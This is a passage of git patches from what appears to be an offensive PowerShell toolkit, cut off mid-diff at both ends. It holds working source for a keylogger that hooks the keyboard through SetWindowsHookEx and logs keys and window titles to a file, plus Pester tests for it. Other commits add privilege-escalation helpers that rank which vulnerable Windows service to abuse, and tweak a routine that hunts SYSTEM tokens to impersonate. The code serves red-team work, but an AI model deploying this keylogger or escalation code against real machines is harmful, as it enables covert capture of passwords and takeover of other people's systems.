('['+ $TypedCharacter +']') - } - - #get the title of the foreground window - $TopWindow = $ImportDll::GetForegroundWindow() - $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle - - #get the current DTG - $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff) - - #Create a custom object to store results - $ObjectProperties = @{'Key Typed' = $LogOutput; - 'Time' = $TimeStamp; - 'Window Title' = $WindowTitle} - $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties - - # Stupid hack since Export-CSV doesn't have an append switch in PSv2 - $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1] - - #return results - Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode + # Read virtual-key from buffer + $vKey = [Windows.Forms.Keys][Runtime.InteropServices.Marshal]::ReadInt32($lParam) + # Parse virtual-key + if ($vKey -gt 64 -and $vKey -lt 91) { # Alphabet characters + if ($Shift -xor $Caps) { $Key = $vKey.ToString() } + else { $Key = $vKey.ToString().ToLower() } + } + elseif ($vKey -ge 96 -and $vKey -le 111) { # Number pad characters + switch ($vKey.value__) { + 96 { $Key = '0' } + 97 { $Key = '1' } + 98 { $Key = '2' } + 99 { $Key = '3' } + 100 { $Key = '4' } + 101 { $Key = '5' } + 102 { $Key = '6' } + 103 { $Key = '7' } + 104 { $Key = '8' } + 105 { $Key = '9' } + 106 { $Key = "*" } + 107 { $Key = "+" } + 108 { $Key = "|" } + 109 { $Key = "-" } + 110 { $Key = "." } + 111 { $Key = "/" } + } + } + elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 221)) { + if ($Shift) { + switch ($vKey.value__) { # Shiftable characters + 48 { $Key = ')' } + 49 { $Key = '!' } + 50 { $Key = '@' } + 51 { $Key = '#' } + 52 { $Key = '$' } + 53 { $Key = '%' } + 54 { $Key = '^' } + 55 { $Key = '&' } + 56 { $Key = '*' } + 57 { $Key = '(' } + 186 { $Key = ':' } + 187 { $Key = '+' } + 188 { $Key = '<' } + 189 { $Key = '_' } + 190 { $Key = '>' } + 191 { $Key = '?' } + 192 { $Key = '~' } + 219 { $Key = '{' } + 220 { $Key = '|' } + 221 { $Key = '}' } + 222 { $Key = '"' } + } + } + else { + switch ($vKey.value__) { + 48 { $Key = '0' } + 49 { $Key = '1' } + 50 { $Key = '2' } + 51 { $Key = '3' } + 52 { $Key = '4' } + 53 { $Key = '5' } + 54 { $Key = '6' } + 55 { $Key = '7' } + 56 { $Key = '8' } + 57 { $Key = '9' } + 186 { $Key = ';' } + 187 { $Key = '=' } + 188 { $Key = ',' } + 189 { $Key = '-' } + 190 { $Key = '.' } + 191 { $Key = '/' } + 192 { $Key = '`' } + 219 { $Key = '[' } + 220 { $Key = '\' } + 221 { $Key = ']' } + 222 { $Key = "`'" } } } } - catch {} + else { + switch ($vKey) { + $Keys::F1 { $Key = '' } + $Keys::F2 { $Key = '' } + $Keys::F3 { $Key = '' } + $Keys::F4 { $Key = '' } + $Keys::F5 { $Key = '' } + $Keys::F6 { $Key = '' } + $Keys::F7 { $Key = '' } + $Keys::F8 { $Key = '' } + $Keys::F9 { $Key = '' } + $Keys::F10 { $Key = '' } + $Keys::F11 { $Key = '' } + $Keys::F12 { $Key = '' } + + $Keys::Snapshot { $Key = '' } + $Keys::Scroll { $Key = '' } + $Keys::Pause { $Key = '' } + $Keys::Insert { $Key = '' } + $Keys::Home { $Key = '' } + $Keys::Delete { $Key = '' } + $Keys::End { $Key = '' } + $Keys::Prior { $Key = '' } + $Keys::Next { $Key = '' } + $Keys::Escape { $Key = '' } + $Keys::NumLock { $Key = '' } + $Keys::Capital { $Key = '' } + $Keys::Tab { $Key = '' } + $Keys::Back { $Key = '' } + $Keys::Enter { $Key = '' } + $Keys::Space { $Key = '< >' } + $Keys::Left { $Key = '' } + $Keys::Up { $Key = '' } + $Keys::Right { $Key = '' } + $Keys::Down { $Key = '' } + $Keys::LMenu { $Key = '' } + $Keys::RMenu { $Key = '' } + $Keys::LWin { $Key = '' } + $Keys::RWin { $Key = '' } + $Keys::LShiftKey { $Key = '' } + $Keys::RShiftKey { $Key = '' } + $Keys::LControlKey { $Key = '' } + $Keys::RControlKey { $Key = '' } + } + } + + # Get foreground window's title + $Title = New-Object Text.Stringbuilder 256 + $GetWindowText.Invoke($hWindow, $Title, $Title.Capacity) + + # Define object properties + $Props = @{ + Key = $Key + Time = [DateTime]::Now + Window = $Title.ToString() + } + + $obj = New-Object psobject -Property $Props + + # Stupid hack since Export-CSV doesn't have an append switch in PSv2 + $CSVEntry = ($obj | Select-Object Key,Window,Time | ConvertTo-Csv -NoTypeInformation)[1] + + #return results + Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode } + return $CallNextHookEx.Invoke([IntPtr]::Zero, $Code, $wParam, $lParam) } - $Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath)) + # Cast scriptblock as LowLevelKeyboardProc callback + $Delegate = Get-DelegateType @([Int32], [IntPtr], [IntPtr]) ([IntPtr]) + $Callback = $CallbackScript -as $Delegate + + # Get handle to PowerShell for hook + $PoshModule = (Get-Process -Id $PID).MainModule.ModuleName + $ModuleHandle = $GetModuleHandle.Invoke($PoshModule) - Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null + # Set WM_KEYBOARD_LL hook + $Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0) + + $Stopwatch = [Diagnostics.Stopwatch]::StartNew() - if ($PSBoundParameters['CollectionInterval']) - { - $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000) + while ($true) { + if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break } + $PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0) + Start-Sleep -Milliseconds 10 + } - Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action { - Stop-Job -Name Keylogger - Unregister-Event -SourceIdentifier ElapsedAction - $Sender.Stop() - } | Out-Null + $Stopwatch.Stop() + + # Remove the hook + $UnhookWindowsHookEx.Invoke($Hook) } -} + # Setup KeyLogger's runspace + $PowerShell = [PowerShell]::Create() + [void]$PowerShell.AddScript($Script) + [void]$PowerShell.AddArgument($LogPath) + if ($PSBoundParameters.Timeout) { [void]$PowerShell.AddArgument($Timeout) } + + # Start KeyLogger + [void]$PowerShell.BeginInvoke() + + if ($Return.IsPresent) { return $PowerShell } +} \ No newline at end of file diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 new file mode 100644 index 00000000..baeebb80 --- /dev/null +++ b/Tests/Exfiltration.tests.ps1 @@ -0,0 +1,55 @@ +Set-StrictMode -Version Latest + +$TestScriptRoot = Split-Path $MyInvocation.MyCommand.Path -Parent +$ModuleRoot = Resolve-Path "$TestScriptRoot\.." +$ModuleManifest = "$ModuleRoot\Exfiltration\Exfiltration.psd1" + +Remove-Module [E]xfiltration +Import-Module $ModuleManifest -Force -ErrorAction Stop + +Describe 'Get-Keystrokes' { + + if (Test-Path "$($env:TEMP)\key.log") { Remove-Item -Force "$($env:TEMP)\key.log" } + $WindowTitle = (Get-Process -Id $PID).MainWindowTitle + + $Shell = New-Object -ComObject wscript.shell + $Shell.AppActivate($WindowTitle) + + $KeyLogger = Get-Keystrokes -Return + Start-Sleep -Seconds 1 + + $Shell.SendKeys('Pester is SUPER l337!') + $KeyLogger.Dispose() + + It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } + + $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv + + It 'Should log all keystrokes' { + $Keys = $KeyObjects | % { $_.TypedKey } + $String = -join $Keys + $String | Should Be 'Pester< >is< >SUPER< >l337!' + } + + It 'Should get foreground window title' { + $KeyObjects[0].WindowTitle | Should Be $WindowTitle + } + + It 'Should log time of key press' { + $KeyTime = [DateTime]::Parse($KeyObjects[0].Time) + $KeyTime.GetType().Name | Should Be 'DateTime' + } + + It 'Should stop logging Pester is SUPER l337!after timeout' { + + $Timeout = 0.05 + $KeyLogger = Get-Keystrokes -Timeout $Timeout -Return + + Start-Sleep -Seconds 4 + + $KeyLogger.Runspace.RunspaceAvailability | Should Be 'Available' + $KeyLogger.Dispose() + } + + Remove-Item -Force "$($env:TEMP)\key.log" +} \ No newline at end of file From ef887af9d6b58e7114332a989b15ba4c306ccd83 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Sat, 9 Jan 2016 17:55:47 -0600 Subject: [PATCH 085/296] Update Exfiltration.tests.ps1 --- Tests/Exfiltration.tests.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index baeebb80..30e2f539 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -40,7 +40,7 @@ Describe 'Get-Keystrokes' { $KeyTime.GetType().Name | Should Be 'DateTime' } - It 'Should stop logging Pester is SUPER l337!after timeout' { + It 'Should stop logging after timeout' { $Timeout = 0.05 $KeyLogger = Get-Keystrokes -Timeout $Timeout -Return @@ -52,4 +52,4 @@ Describe 'Get-Keystrokes' { } Remove-Item -Force "$($env:TEMP)\key.log" -} \ No newline at end of file +} From d133db696ad364a8387163569325129b0c0b08a3 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Mon, 11 Jan 2016 09:09:48 -0600 Subject: [PATCH 086/296] Update Get-Keystrokes.ps1 --- Exfiltration/Get-Keystrokes.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index d78f9c2a..cc6b7a98 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -214,7 +214,7 @@ function Get-Keystrokes { 111 { $Key = "/" } } } - elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 221)) { + elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) { if ($Shift) { switch ($vKey.value__) { # Shiftable characters 48 { $Key = ')' } @@ -237,7 +237,7 @@ function Get-Keystrokes { 219 { $Key = '{' } 220 { $Key = '|' } 221 { $Key = '}' } - 222 { $Key = '"' } + 222 { $Key = '' } } } else { @@ -262,7 +262,7 @@ function Get-Keystrokes { 219 { $Key = '[' } 220 { $Key = '\' } 221 { $Key = ']' } - 222 { $Key = "`'" } + 222 { $Key = '' } } } } @@ -369,4 +369,4 @@ function Get-Keystrokes { [void]$PowerShell.BeginInvoke() if ($Return.IsPresent) { return $PowerShell } -} \ No newline at end of file +} From 5f13c7b4deda82701d2834b8ef948a89d2e68074 Mon Sep 17 00:00:00 2001 From: sagishahar Date: Wed, 13 Jan 2016 01:36:23 +0800 Subject: [PATCH 087/296] Add 'CanRestart' to output and Pester tests Pester tests to the function 'Test-ServiceDaclPermission' were added in order to increase confidence in its reliability. In general, my intention was to replace the current functionality of the service management functions such as Invoke-ServiceStart, to not use blindly 'sc.exe start' but rather consult with the DACL permissions and base the decision on that. Unforunately, further investigation lead me to the conclusion that retrieval of the service's DACL permissions requires that an additional DACL permission (RC) be set. This may lead to an edge case that could miss a potential privilege escalation condition and thereby the original idea was discarded. Nonetheless, 'Test-ServiceDaclPermission' can be used for less critical tasks. Therefore, a 'CanRestart' property was added to the output of the service enumeration functions such as 'Get-ServiceUnquoted' as I think that it will add value to redteamers/pentesters by helping them prioritise which service should be abused for escalation of privileges. Services that can be restarted by a low privileged user will probably be prioritised first. Additionally, manual checking whether the vulnerable service can be restarted would not be required in most cases. --- Privesc/PowerUp.ps1 | 119 +++++++++++++++++++----------------- Tests/Privesc.tests.ps1 | 131 ++++++++++++++++++++++++++++++++++++++++ 2 files changed, 195 insertions(+), 55 deletions(-) diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 0d71b143..a8f55e50 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -122,8 +122,7 @@ function Test-ServiceDaclPermission { # check if sc.exe exists if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){ - Write-Warning "[!] Could not find $env:SystemRoot\system32\sc.exe" - return $False + throw [System.IO.FileNotFoundException] "$env:SystemRoot\system32\sc.exe not found" } $ServiceAccessFlags = @{ @@ -151,68 +150,60 @@ function Test-ServiceDaclPermission { # make sure we got a result back if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False + throw [System.Management.Instrumentation.InstanceNotFoundException] "Target service '$ServiceName' not found on the machine" } - try { - # retrieve DACL from sc.exe - $Result = sc.exe sdshow $TargetService.Name | where {$_} + # retrieve DACL from sc.exe (only possible if 'RC' DACL is set) + $Result = sc.exe sdshow $TargetService.Name | where {$_} - if ($Result -like "*OpenService FAILED*"){ - Write-Warning "[!] Access to service $($TargetService.Name) denied" - return $False - } + if ($Result -like "*OpenService FAILED*"){ + throw [System.Management.Automation.ApplicationFailedException] "Could not retrieve DACL permissions for '$($TargetService.Name)'" + } - $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) + $SecurityDescriptors = New-Object System.Security.AccessControl.RawSecurityDescriptor($Result) - # populate a list of group SIDs that the current user is a member of - $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} + # populate a list of group SIDs that the current user is a member of + $Sids = whoami /groups /FO csv | ConvertFrom-Csv | select "SID" | ForEach-Object {$_.Sid} - # add to the list the SID of the current user - $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + # add to the list the SID of the current user + $Sids += [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value - ForEach ($Sid in $Sids){ - ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ - - # check if the group/user SID is included in the ACE - if ($Sid -eq $Ace.SecurityIdentifier){ - - # convert the AccessMask to a service DACL string - $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { - if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { - $_ - } - }) -join "" - - # convert the input DACL to an array - $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) - - # counter to check how many DACL permissions were found - $MatchedPermissions = 0 + ForEach ($Sid in $Sids){ + ForEach ($Ace in $SecurityDescriptors.DiscretionaryAcl){ + + # check if the group/user SID is included in the ACE + if ($Sid -eq $Ace.SecurityIdentifier){ - # check if each of the permissions exists - ForEach ($DaclPermission in $DaclArray){ - if ($DaclString.Contains($DaclPermission.ToUpper())){ - $MatchedPermissions += 1 - } - else{ - break - } + # convert the AccessMask to a service DACL string + $DaclString = $($ServiceAccessFlags.Keys | Foreach-Object { + if (($ServiceAccessFlags[$_] -band $Ace.AccessMask) -eq $ServiceAccessFlags[$_]) { + $_ } - # found all permissions - success - if ($MatchedPermissions -eq $DaclArray.Count){ - return $True + }) -join "" + + # convert the input DACL to an array + $DaclArray = [array] ($Dacl -split '(.{2})' | Where-Object {$_}) + + # counter to check how many DACL permissions were found + $MatchedPermissions = 0 + + # check if each of the permissions exists + ForEach ($DaclPermission in $DaclArray){ + if ($DaclString.Contains($DaclPermission.ToUpper())){ + $MatchedPermissions += 1 } - } - } + else{ + break + } + } + # found all permissions - success + if ($MatchedPermissions -eq $DaclArray.Count){ + return $True + } + } } - return $False - } - catch{ - Write-Warning "Error: $_" - return $False } + return $False } function Invoke-ServiceStart { @@ -369,7 +360,7 @@ function Invoke-ServiceEnable { try { # enable the service - Write-Verbose "Enabling service '$TargetService.Name'" + Write-Verbose "Enabling service '$($TargetService.Name)'" $Null = sc.exe config "$($TargetService.Name)" start= demand return $True } @@ -417,7 +408,7 @@ function Invoke-ServiceDisable { try { # disable the service - Write-Verbose "Disabling service '$TargetService.Name'" + Write-Verbose "Disabling service '$($TargetService.Name)'" $Null = sc.exe config "$($TargetService.Name)" start= disabled return $True } @@ -458,11 +449,17 @@ function Get-ServiceUnquoted { if ($VulnServices) { ForEach ($Service in $VulnServices){ + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Write-ServiceBinary -ServiceName '$($Service.name)' -Path " + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } @@ -492,12 +489,18 @@ function Get-ServiceFilePermission { $ServiceStartName = $_.startname $ServicePath | Get-ModifiableFile | ForEach-Object { + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $ServiceName $Out | Add-Member Noteproperty 'Path' $ServicePath $Out | Add-Member Noteproperty 'ModifiableFile' $_ $Out | Add-Member Noteproperty 'StartName' $ServiceStartName $Out | Add-Member Noteproperty 'AbuseFunction' "Install-ServiceBinary -ServiceName '$ServiceName'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } @@ -510,7 +513,7 @@ function Get-ServicePermission { This function enumerates all available services and tries to open the service for modification, returning the service object - if the process doesn't failed. + if the process didn't fail. .EXAMPLE @@ -541,11 +544,17 @@ function Get-ServicePermission { # means the change was successful if ($Result -contains "[SC] ChangeServiceConfig SUCCESS"){ + try { + $CanRestart = Test-ServiceDaclPermission -ServiceName $Service.name -Dacl 'WPRP' + } catch { + $CanRestart = "Cannot be determined through DACL, try manually." + } $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ServiceName' $Service.name $Out | Add-Member Noteproperty 'Path' $Service.pathname $Out | Add-Member Noteproperty 'StartName' $Service.startname $Out | Add-Member Noteproperty 'AbuseFunction' "Invoke-ServiceAbuse -ServiceName '$($Service.name)'" + $Out | Add-Member Noteproperty 'CanRestart' $CanRestart $Out } } diff --git a/Tests/Privesc.tests.ps1 b/Tests/Privesc.tests.ps1 index 095c9465..56dfd2cc 100644 --- a/Tests/Privesc.tests.ps1 +++ b/Tests/Privesc.tests.ps1 @@ -74,6 +74,137 @@ Describe 'Get-ModifiableFile' { } } +Describe 'Test-ServiceDaclPermission' { + + if(-not $(Test-IsAdmin)) { + Throw "'Test-ServiceDaclPermission' Pester test needs local administrator privileges." + } + + It "Should fail finding 'sc.exe'." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + $DirectoryName = Get-RandomName + $env:SystemRoot = 'C:\\' + $DirectoryName + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "sc.exe not found" + + sc.exe delete $ServiceName | Should Match "SUCCESS" + $env:SystemRoot = 'C:\Windows' + } + + It "Should succeed finding 'sc.exe'." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + $DirectoryName = Get-RandomName + New-Item -Path $env:Temp -Name "$DirectoryName\System32" -ItemType Directory + New-Item -Path $env:Temp -Name "$DirectoryName\System32\sc.exe" -ItemType File + $env:SystemRoot = $env:Temp + "\$DirectoryName" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + + Remove-Item -Recurse -Force "$env:Temp\$DirectoryName" + $env:SystemRoot = 'C:\Windows' + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should fail querying WMI for a non-existent service." { + $ServiceName = Get-RandomName + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" + } + + It "Should succeed querying WMI for an existenting service." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should fail querying WMI for an existing service due to insufficient DACL permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "not found on the machine" + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should succeed querying WMI for an existing service due to sufficient DACL permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should fail running 'sc.exe sdshow' due to insufficient permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDWDWO;;;$UserSid)" | Should Match "SUCCESS" + { Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' } | Should Throw "Could not retrieve DACL permissions" + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + It "Should succeed running 'sc.exe sdshow' due to sufficient permissions." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + $UserSid = [System.Security.Principal.WindowsIdentity]::GetCurrent().User.value + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$UserSid)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'DC' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + it "Should fail finding the service DACL value of 'WP' for the current user." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $False + sc.exe delete $ServiceName | Should Match "SUCCESS" + } + + it "Should succeed finding the service DACL value of 'WP' for the current user." { + $ServiceName = Get-RandomName + $ServicePath = "C:\Program Files\service.exe" + + sc.exe create $ServiceName binPath= $ServicePath | Should Match "SUCCESS" + Start-Sleep -Seconds 1 + + sc.exe sdset $ServiceName "D:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-4)" | Should Match "SUCCESS" + Test-ServiceDaclPermission -ServiceName $ServiceName -Dacl 'WP' | Should Be $True + sc.exe delete $ServiceName | Should Match "SUCCESS" + } +} ######################################################## # From 96ad796da81d01acd08622111141b0df568e552b Mon Sep 17 00:00:00 2001 From: mmashwani Date: Wed, 13 Jan 2016 04:52:42 -0500 Subject: [PATCH 088/296] Don't search for SYSTEM token by using hard coded English name for SYSTEM account. Translate SYSTEM SID to NTAccount to maintain compatibility across languages. --- Exfiltration/Invoke-TokenManipulation.ps1 | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 index 3a61da8e..ea309520 100644 --- a/Exfiltration/Invoke-TokenManipulation.ps1 +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -1685,7 +1685,8 @@ Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-toke #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. #We need to enumrate all processes running as SYSTEM and find one that we can use. - $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq "NT AUTHORITY\SYSTEM"} + [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + $SystemTokens = Get-Process -IncludeUserName | Where {$_.Username -eq $LocalSystemNTAccount} ForEach ($SystemToken in $SystemTokens) { $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.Id -WarningAction SilentlyContinue -ErrorAction SilentlyContinue From 759bd481ae57e450fd6fb371690014e67411ac98 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Wed, 13 Jan 2016 21:02:50 -0600 Subject: [PATCH 089/296] Fixed Pester/PassThru --- Exfiltration/Get-Keystrokes.ps1 | 8 ++++++-- Tests/Exfiltration.tests.ps1 | 10 +++++----- 2 files changed, 11 insertions(+), 7 deletions(-) diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index d78f9c2a..3a7d1dc3 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -19,6 +19,10 @@ function Get-Keystrokes { Specifies the interval in minutes to capture keystrokes. By default, keystrokes are captured indefinitely. +.PARAMETER PassThru + + Returns the keylogger's PowerShell object, so that it may manipulated (disposed) by the user; primarily for testing purposes. + .EXAMPLE Get-Keystrokes -LogPath C:\key.log @@ -43,7 +47,7 @@ function Get-Keystrokes { [Double]$Timeout, [Parameter()] - [Switch]$Return + [Switch]$PassThru ) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) @@ -368,5 +372,5 @@ function Get-Keystrokes { # Start KeyLogger [void]$PowerShell.BeginInvoke() - if ($Return.IsPresent) { return $PowerShell } + if ($PassThru.IsPresent) { return $PowerShell } } \ No newline at end of file diff --git a/Tests/Exfiltration.tests.ps1 b/Tests/Exfiltration.tests.ps1 index baeebb80..064ebfe5 100644 --- a/Tests/Exfiltration.tests.ps1 +++ b/Tests/Exfiltration.tests.ps1 @@ -15,10 +15,10 @@ Describe 'Get-Keystrokes' { $Shell = New-Object -ComObject wscript.shell $Shell.AppActivate($WindowTitle) - $KeyLogger = Get-Keystrokes -Return + $KeyLogger = Get-Keystrokes -PassThru Start-Sleep -Seconds 1 - $Shell.SendKeys('Pester is SUPER l337!') + $Shell.SendKeys("Pester`b`b`b`b`b`b") $KeyLogger.Dispose() It 'Should output to file' { Test-Path "$($env:TEMP)\key.log" | Should Be $true } @@ -28,7 +28,7 @@ Describe 'Get-Keystrokes' { It 'Should log all keystrokes' { $Keys = $KeyObjects | % { $_.TypedKey } $String = -join $Keys - $String | Should Be 'Pester< >is< >SUPER< >l337!' + $String | Should Match 'Pester' } It 'Should get foreground window title' { @@ -40,10 +40,10 @@ Describe 'Get-Keystrokes' { $KeyTime.GetType().Name | Should Be 'DateTime' } - It 'Should stop logging Pester is SUPER l337!after timeout' { + It 'Should stop logging after timeout' { $Timeout = 0.05 - $KeyLogger = Get-Keystrokes -Timeout $Timeout -Return + $KeyLogger = Get-Keystrokes -Timeout $Timeout -PassThru Start-Sleep -Seconds 4 From 4ffd3084e41461a518b3f0e5ff2d997261a08250 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Wed, 13 Jan 2016 22:20:05 -0600 Subject: [PATCH 090/296] Fixed Pester/PassThru --- Exfiltration/Get-Keystrokes.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Exfiltration/Get-Keystrokes.ps1 b/Exfiltration/Get-Keystrokes.ps1 index 9e8698cb..47761b99 100644 --- a/Exfiltration/Get-Keystrokes.ps1 +++ b/Exfiltration/Get-Keystrokes.ps1 @@ -40,7 +40,7 @@ function Get-Keystrokes { [CmdletBinding()] Param ( [Parameter(Position = 0)] - [ValidateScript({(Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container)})] + [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container})] [String]$LogPath = "$($env:TEMP)\key.log", [Parameter(Position = 1)] From 75548931ba09dc0fe759a4863a67c83f18b7b855 Mon Sep 17 00:00:00 2001 From: Jesse Davis Date: Wed, 13 Jan 2016 22:30:38 -0600 Subject: [PATCH 091/296] Fixed Pester/PassThru --- Tests/Exfiltration.tests.ps1 | 2 -- 1 file changed, 2 deletions(-) diff --git 